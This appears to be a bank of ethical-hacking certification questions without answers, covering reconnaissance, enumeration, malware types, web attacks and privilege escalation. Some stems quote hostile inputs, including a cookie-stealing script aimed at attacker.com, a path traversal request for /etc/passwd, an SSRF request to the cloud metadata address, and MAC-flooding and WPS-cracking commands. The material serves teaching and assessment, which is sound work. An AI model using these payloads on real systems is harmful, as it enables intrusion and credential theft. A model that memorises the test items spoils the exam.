A penetration tester is assessing an AWS environment and discovers an S3 bucket with the following bucket policy: `{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":"s3:GetObject","Resource":"arn:aws:s3:::example-bucket/*"}]}`. Which of the following is the MOST likely security issue?

You are the security lead for a multinational corporation that uses a hybrid cloud architecture with AWS and on-premises data centers. The company recently deployed a fleet of IoT sensors in a remote factory to monitor equipment. These sensors communicate via MQTT to an AWS IoT Core endpoint, which forwards data to an S3 bucket and a DynamoDB table. The factory network is isolated but has a site-to-site VPN to the corporate HQ. Over the past week, the S3 bucket has experienced an unusual number of PUT requests from an IP address that resolves to a known malicious host. The DynamoDB table shows write spikes at odd hours. The MQTT broker logs indicate that some sensors are publishing data with invalid client IDs. Meanwhile, the VPN logs show no anomalies. You need to identify the likely attack vector and recommend a course of action. Which of the following is the BEST course of action?

Which of the following Nmap scan types is MOST effective for evading a stateful firewall that only allows established connections? (Select one)

Which TWO of the following are features of a Remote Access Trojan (RAT)?

A penetration tester executes the command: snmpwalk -c public -v2c 192.168.1.50. Which of the following BEST describes the purpose of this command?

A security engineer notices repeated log entries showing a user account logging in at odd hours and then clearing event logs. The engineer suspects credential theft. Which phase of the CHPSET methodology involves erasing tracks?

During a penetration test, you need to enumerate SMB shares on a Windows target. Which of the following tools is specifically designed for this purpose?

A security analyst runs the following command: 'python macof -i eth0 -n 1000'. Shortly after, the switch begins flooding traffic to all ports. What is the analyst trying to achieve?

A security analyst is asked to perform a fast scan of a large network (e.g., /16 subnet) to identify live hosts. Which tool is MOST suitable for this task due to its high speed?

During a penetration test, you execute a command that sends a large number of spoofed ICMP echo request packets to a subnet's broadcast address. This results in a flood of replies to the target system. Which attack have you performed?

A security analyst runs 'nbtstat -A 192.168.1.10' and receives a table showing the machine name and a list of names registered. Which service is being enumerated?

In the context of system hacking methodology (CHPSET), which phase involves hiding malicious files from the operating system and security tools using techniques such as NTFS alternate data streams (ADS) or steganography?

A penetration tester uses a tool to perform a man-in-the-middle attack by sending forged DNS responses that redirect users to a malicious website. Which tool is MOST likely being used to perform DNS spoofing?

A user receives a text message claiming their bank account is locked and requiring them to click a link to verify. This social engineering method is called:

An attacker uses a technique where they send a SYN packet with a spoofed source IP address to the target, and the target responds with SYN/ACK to the spoofed IP. The attacker never completes the handshake. This technique is known as:

A penetration tester gains access to a Linux server and attempts to escalate privileges. They run `sudo -l` and see that the user can run `/usr/bin/vim` as root without a password. Which privilege escalation technique should the tester use?

During a penetration test, the tester runs `enum4linux -U 192.168.1.20` and obtains a list of usernames. What service is being enumerated, and what is the primary risk associated with this information disclosure?

Which of the following is a type of malware that replicates itself by attaching to executable files and requires human action to spread, such as opening an infected attachment?

Refer to the exhibit. During a penetration test, the results show port 80 as 'filtered'. Which of the following is the most likely reason?

During a penetration test, an analyst runs the following command: 'reaver -i wlan0mon -b 00:11:22:33:44:55 -vv'. What is the PRIMARY purpose of this command?

A web application firewall (WAF) blocks requests containing ' UNION SELECT '. A penetration tester wants to bypass this restriction to perform a union-based SQL injection. Which of the following techniques is MOST likely to succeed?

As a network defender, you notice an unusually high number of incomplete TCP three-way handshakes from a single external IP to multiple internal hosts. What is the most likely attack taking place?

A security analyst notices that a web application returns different page sizes when a valid user ID is submitted versus an invalid one in the URL parameter. Which type of vulnerability is most likely being exploited?

A security analyst wants to gather information about a target domain without directly interacting with its systems. Which technique would be MOST appropriate?

A web application is vulnerable to XML External Entity (XXE) injection. Which THREE of the following are potential impacts of successfully exploiting an XXE vulnerability?

A security analyst wants to enumerate NetBIOS names on a Windows network. Which built-in Windows command-line tool should they use?

Which of the following techniques is considered PASSIVE reconnaissance?

A company wants to defend against DNS amplification attacks. Which mitigation technique would be MOST effective?

Which TWO of the following are characteristics of a polymorphic virus?

An attacker sends an email that appears to come from the CEO of the company, requesting an urgent wire transfer to a specific account. This is an example of which social engineering attack?

A security analyst is reviewing a web application log and sees the following request: GET /page?file=../../../etc/passwd HTTP/1.1. Which TWO vulnerabilities are most likely being attempted? (Select two)

A security analyst discovers a user downloaded a file that, when executed, creates a hidden process that connects to a remote server and allows full remote control of the system. Which type of malware BEST describes this behavior?

Refer to the exhibit. A security analyst runs ping and arp commands. What is the most likely attack occurring?

A security analyst wants to enumerate all users from an SMTP server. Which of the following SMTP commands can be used for user enumeration?

An attacker uses a tool that sends crafted RCPT TO commands to an SMTP server to verify email addresses. Which SMTP enumeration technique is being used?

An attacker uses SMTP commands to verify the existence of email accounts on a mail server. Which sequence of SMTP commands is used for this purpose?

Which THREE of the following are valid techniques for covering tracks after compromising a system? (Select 3 correct answers)

A company wants to test the security of its web application by simulating attacks from an external perspective. They have no prior knowledge of the internal network or application architecture. Which type of test should they perform?

A network administrator notices an unusually high number of half-open TCP connections to the company's web server. The source IPs are spoofed. Which type of attack is MOST likely occurring?

A security team detects unusual outbound traffic from a host that appears to be a reverse shell. Which of the following Nmap features would be MOST effective for identifying the service running on the listening port of the command-and-control server?

Which tool is specifically designed to create fake login pages for phishing campaigns and can be integrated with Metasploit?

A security analyst observes the following log entry on a web server: 'GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1'. This request appears to originate from a compromised web application. Which cloud attack technique is being attempted?

An attacker sends a TCP SYN packet to a port and receives a TCP RST packet in response. According to Nmap's port state classification, what is the state of this port?

Refer to the exhibit. An analyst runs an Nmap scan and finds these services. Which known vulnerability is most likely to be successfully exploited?

After compromising a system, an attacker wants to erase their tracks. They clear the Windows Event Logs using `wevtutil cl` commands. However, the logs are forwarded to a remote SIEM. Which covering tracks technique would be MOST effective to avoid detection?

During a forensic investigation, an analyst retrieves a suspicious executable. Running 'strings' reveals no readable text, and VirusTotal shows zero detections. However, when executed in a sandbox, the binary connects to a remote IP and injects code into 'explorer.exe'. Which conclusion is MOST accurate?

Which THREE of the following are methods for covering tracks after compromising a system? (Select 3)

A penetration tester is assessing a web application and notices that the application reflects the User-Agent header in the response body without sanitization. What attack could be performed using this behavior?

Which cloud security assessment tool is specifically designed to audit AWS environments against best practices and CIS benchmarks?

A security analyst runs the command `nbtstat -A 192.168.1.105` on a Windows machine. What information is the analyst most likely trying to gather?

During a penetration test, you capture the following 4-way handshake using airodump-ng. Which tool would you use to attempt a dictionary attack to recover the WPA2 passphrase?

Which TWO of the following are characteristics of a polymorphic virus? (Choose two.)

Which of the following tools is specifically designed to perform MAC flooding to force a switch into fail-open mode, allowing packet sniffing?

An attacker performs a password spraying attack against a web application. Which of the following BEST describes this technique?

Which Google dork would a penetration tester use to find login pages that are indexed by Google?

In a cloud environment, which of the following is an example of a Server-Side Request Forgery (SSRF) attack?

Which TWO of the following are examples of hybrid password attacks? (Select 2 correct answers)

Which TWO of the following tools are used for cloud security auditing or exploitation?

A penetration tester discovers that a target Windows system has port 445 open and responds to SMB requests. Which tool should the tester use to enumerate users, shares, and OS information from this system?

Which SNMP community string is typically used for read-only access by default on many devices?

Which of the following tools is primarily used for automated SQL injection exploitation and database fingerprinting?

A penetration tester uses the tool Reaver to target a Wi-Fi network. What vulnerability is the tester attempting to exploit?

An IoT device uses MQTT for communication. An attacker intercepts MQTT packets and observes that the publish messages are not encrypted and contain plaintext sensor data. Which of the following is the BEST recommendation to secure MQTT traffic?

After gaining initial access to a Linux server, a penetration tester wants to maintain persistence by creating a backdoor. The tester decides to replace a common system binary with a trojanized version. Which of the following techniques is MOST likely to evade detection by file integrity monitoring (FIM) systems?

Which TWO of the following are examples of application layer (Layer 7) DDoS attacks? (Select 2)

In Burp Suite, which tool is used to modify and resend individual HTTP requests to observe responses, allowing manual testing of input validation and parameter manipulation?

A cloud security engineer discovers that an S3 bucket named 'acme-backups' is accessible to anyone with the bucket URL. The bucket contains sensitive customer data. Which AWS shared responsibility model component does this misconfiguration primarily violate?

During a penetration test, a tester observes that a web application's login form does not implement rate limiting and returns different error messages for valid vs invalid usernames. Which THREE attacks are most likely to be successful? (Select three)

An attacker uses `nmap -sI 10.0.0.5 192.168.1.10` to scan a target. This technique is known as an idle scan. Which condition is REQUIRED for this scan to work correctly?

You are a security consultant for a mid-sized company with 500 employees. The company has a secure data center with a biometric access control system. Recently, a contractor was able to enter the data center without authorization by claiming he forgot his badge and an employee held the door for him. The contractor then accessed sensitive servers and exfiltrated data. The company wants to prevent such incidents. Which physical security control would be most effective in preventing this type of attack?

After a security incident, logs show repeated login attempts from different IP addresses using a list of common passwords against a single username. Which attack technique is being used?

Refer to the exhibit. During a wireless audit, you capture a beacon frame from a corporate access point. What is the most significant security concern based on this information?

A security analyst notices that after submitting a form on a web application, the URL changes to include the user's ID parameter, e.g., 'user?id=123'. The analyst modifies the ID in the URL and accesses another user's profile without authorization. Which type of vulnerability is being exploited?

A security analyst runs the command: nbtstat -A 192.168.1.10. The output shows the table of names for the remote machine. Which of the following is the MOST likely purpose of this command?

During a vulnerability scan with Nessus, you find that port 445/TCP is open on a Windows server. Which of the following is the MOST likely associated risk?

A security analyst reviews the following command output from a Linux system: `uid=0(root) gid=0(root) groups=0(root)`. The analyst suspects a privilege escalation attack. Which of the following techniques could have been used to achieve root access from a standard user account?

A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?

Which of the following is a primary purpose of the enumeration phase in a penetration test?

Refer to the exhibit. An attacker runs the nslookup command shown. What information has been gathered?

A security engineer observes the following log event: 'Certificate for www.example.com was issued by an intermediate CA that chains to a root CA not in the trusted store.' Which type of attack might this indicate?

A penetration tester is performing SNMP enumeration against a network device and wants to retrieve the entire Management Information Base (MIB) tree. Which command should they use?

Which TWO of the following are characteristics of a reflected Cross-Site Scripting (XSS) attack? (Select 2)

An analyst reviews a web server log and sees the following request: GET /search?q=<script>alert('xss')</script> HTTP/1.1. The response from the server includes the search term inside a <div> tag without any sanitization. Which type of XSS vulnerability does this indicate?

During a security assessment, an analyst runs 'enum4linux -a 10.0.0.5' and obtains a list of users, shares, and OS information. What protocol is enum4linux primarily using to gather this information?

An analyst observes the following output from Wireshark: a TCP packet with the SYN flag set, followed by a SYN-ACK, then an ACK, and then a RST. The sequence numbers show a pattern: initial seq=100, ack=300, then seq=300, ack=101. What is the MOST likely interpretation?

A penetration tester wants to identify live hosts on a large IP range without generating excessive network traffic. Which tool is BEST suited for fast host discovery?

A company wants to protect its network from MAC flooding attacks. Which of the following countermeasures is MOST effective?

During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amount of output. Which protocol and community string are being used?

During a forensic investigation, an analyst finds a suspicious file that changes its code signature each time it replicates. The file uses encryption and polymorphism to evade signature-based detection. Which type of virus is this?

A security analyst runs `nmap -sS -sV -A 192.168.1.100` and obtains open ports and service versions. However, the analyst suspects the target is behind an IDS/IPS. Which Nmap technique would BEST evade detection while still performing a similar scan?

Which TWO of the following are characteristics of a DNS amplification attack? (Select 2)

Which type of malware is characterized by self-replication and spreading across networks without needing a host file?

An attacker attempts to exploit a web application by sending a request that triggers the server to make an internal HTTP request to a sensitive internal service. Which type of attack is this?

During a reconnaissance phase, a penetration tester uses Shodan to search for devices with a specific open port. Which of the following BEST describes what Shodan provides beyond a simple port scan?

Which TWO of the following tools are capable of cracking password hashes offline? (Select 2)

Which THREE of the following are common indicators of a buffer overflow vulnerability?

Which THREE of the following are common techniques used during the footprinting phase? (Choose three.)

A security analyst wants to discover all DNS records associated with a domain without triggering a full zone transfer. Which tool is BEST suited for this task?

Which of the following tools is specifically used to enumerate SMB shares and retrieve file listings from Windows systems?

A security team suspects a session hijacking attack. The analyst examines network traffic and sees packets with sequence numbers that increment by predictable values. Which attack is MOST likely occurring?

During a social engineering assessment, an attacker calls a help desk impersonating a new employee and requests a password reset due to a 'locked account'. The help desk complies. Which social engineering technique is being used?

A security analyst receives an alert indicating that a host on the internal network is sending a high volume of ICMP echo requests to multiple external IP addresses. The analyst notices that the source IP address is spoofed. Which type of attack is MOST likely occurring?

Which of the following tools is specifically designed to automate the process of detecting and exploiting SQL injection vulnerabilities in web applications?

A penetration tester performs a container escape by exploiting a misconfigured capability and mounts the host filesystem. Which cloud service model is MOST directly affected?

Which THREE Nmap options are commonly used to evade firewall detection during a scan? (Choose three.)

Which TWO of the following are examples of application-layer DDoS attacks? (Select 2)

Which password cracking method uses a precomputed table of hash chains to reverse password hashes quickly?

An organization deploys a fleet of IoT cameras that communicate with a central server over the internet. The cameras use HTTP to send video streams. What is the most critical security improvement to protect the video data in transit?

An attacker wants to perform a man-in-the-middle attack on a local network. Which two tools from the following list would be most effective? (Select the best answer from the options below; note: this is a multiple choice, not multi-select) A) Wireshark B) Ettercap C) Nmap D) Metasploit E) Aircrack-ng

A security analyst wants to perform passive reconnaissance on a target organization without generating any traffic to the target's network. Which of the following techniques would be MOST appropriate?

A penetration tester performs a container escape from a Docker container running in a cloud environment. Which of the following is the MOST likely cause?

During a penetration test, you identify a parameter in a web application that appears to fetch a file from the server. You modify the parameter to '../../../etc/passwd' and see the contents of the passwd file. Which type of vulnerability is this?

Which THREE of the following are valid defenses against CSRF attacks? (Select 3)

During a penetration test, a tester gains access to a Linux system and needs to escalate privileges. The tester finds that the user has sudo privileges to run /usr/bin/less as root without a password. Which technique should the tester use to escalate privileges?

A security engineer is configuring DDoS protection for a web server. The goal is to mitigate a Slowloris attack. Which mitigation technique is MOST effective?

Which phase of the system hacking methodology (CHPSET) involves hiding files from the operating system using techniques such as rootkits or steganography?

Which asymmetric encryption algorithm is based on the algebraic structure of elliptic curves over finite fields and provides equivalent security to RSA with smaller key sizes?

A network switch starts behaving like a hub, broadcasting all traffic to all ports. The security team suspects an attack that floods the switch with fake MAC addresses. Which attack is this?

Which THREE of the following are effective mitigation techniques against Cross-Site Scripting (XSS) attacks?

A penetration tester discovers that a web application's login page does not enforce rate limiting and several usernames are known from a prior data breach. The tester wants to try a few common passwords across many accounts to avoid account lockouts. Which attack technique is being used?

Which tool is specifically designed to crack Windows LM and NTLM hashes using precomputed tables?

A security analyst receives an email from what appears to be the company's CEO requesting an urgent wire transfer. The email address is slightly misspelled (e.g., ce0@company.com instead of ceo@company.com). Which type of social engineering attack is this?

Which TWO of the following are characteristics of a polymorphic virus? (Choose two.)

A security team observes repeated Nmap scans from an external IP address. The scans show fragmented IP packets. Which evasion technique is the attacker using?

After a security incident, an analyst retrieves a suspicious file. To determine if it is malicious without executing it, the analyst runs the 'strings' command and uploads the file to VirusTotal. Which type of malware analysis is being performed?

A security analyst notices that the web application returns different response times when querying user IDs. For example, a valid user ID returns the page in 2 seconds, while an invalid ID returns in 0.5 seconds. The analyst suspects a blind SQL injection vulnerability. Which SQL injection technique is MOST likely being used?

A penetration tester receives the following output from a tool: 'Starting dnsrecon.py -d example.com -t axfr' and then a list of all DNS records. Which of the following BEST describes what occurred?

An ethical hacker is analyzing a suspicious file using static analysis. Which of the following actions is part of static malware analysis?

Which THREE of the following Nmap options can be used to evade detection by IDS/IPS? (Select three)

A penetration tester wants to enumerate users and groups from a Windows domain controller via LDAP without logging in. Which of the following tools is MOST appropriate for anonymous LDAP enumeration?

During a security assessment, a tester discovers an endpoint that reflects the 'User-Agent' header in the response without sanitization. The tester wants to confirm a reflected XSS vulnerability. Which of the following payloads would be MOST effective to demonstrate the issue in a single request?

Which TWO types of information can be obtained through SNMP enumeration on a target device if the community string is 'public'? (Choose two.)

You are a penetration tester hired by a medium-sized financial company. The company has a network consisting of 50 Windows workstations (Windows 10 Pro) and 5 Windows Server 2019 servers (domain controller, file server, web server, database server, and mail server). The network is segmented into three VLANs: User VLAN (192.168.1.0/24), Server VLAN (192.168.2.0/24), and DMZ (192.168.3.0/24). The web server is in the DMZ and hosts a public-facing e-commerce application built on ASP.NET with a SQL Server backend. The database server is in the Server VLAN and is not directly accessible from the internet. You are given a standard user account on a workstation in the User VLAN. After initial reconnaissance, you discover that the web server is running an outdated version of IIS (7.5) and is vulnerable to a known privilege escalation vulnerability (CVE-2020-0613) that allows local privilege escalation if an attacker has already gained initial access. You also find that the web application has a SQL injection vulnerability in the login page. You successfully exploit the SQL injection to extract the password hash of the web application's service account, which is 'web_svc'. You crack the hash offline and obtain the plaintext password. The 'web_svc' account has local administrative privileges on the web server. Using these credentials, you authenticate to the web server via RDP. From there, you want to pivot to the database server to extract credit card information stored in the database. The database server only allows connections from the web server on port 1433 (SQL Server). Using the 'web_svc' account, you are able to connect to the database server using SQL Server Management Studio. However, you find that the 'web_svc' account has only 'public' and 'guest' database roles, which do not allow reading any sensitive tables. You need to escalate privileges on the database server. What is the most effective next step?

Match each encryption algorithm to its type.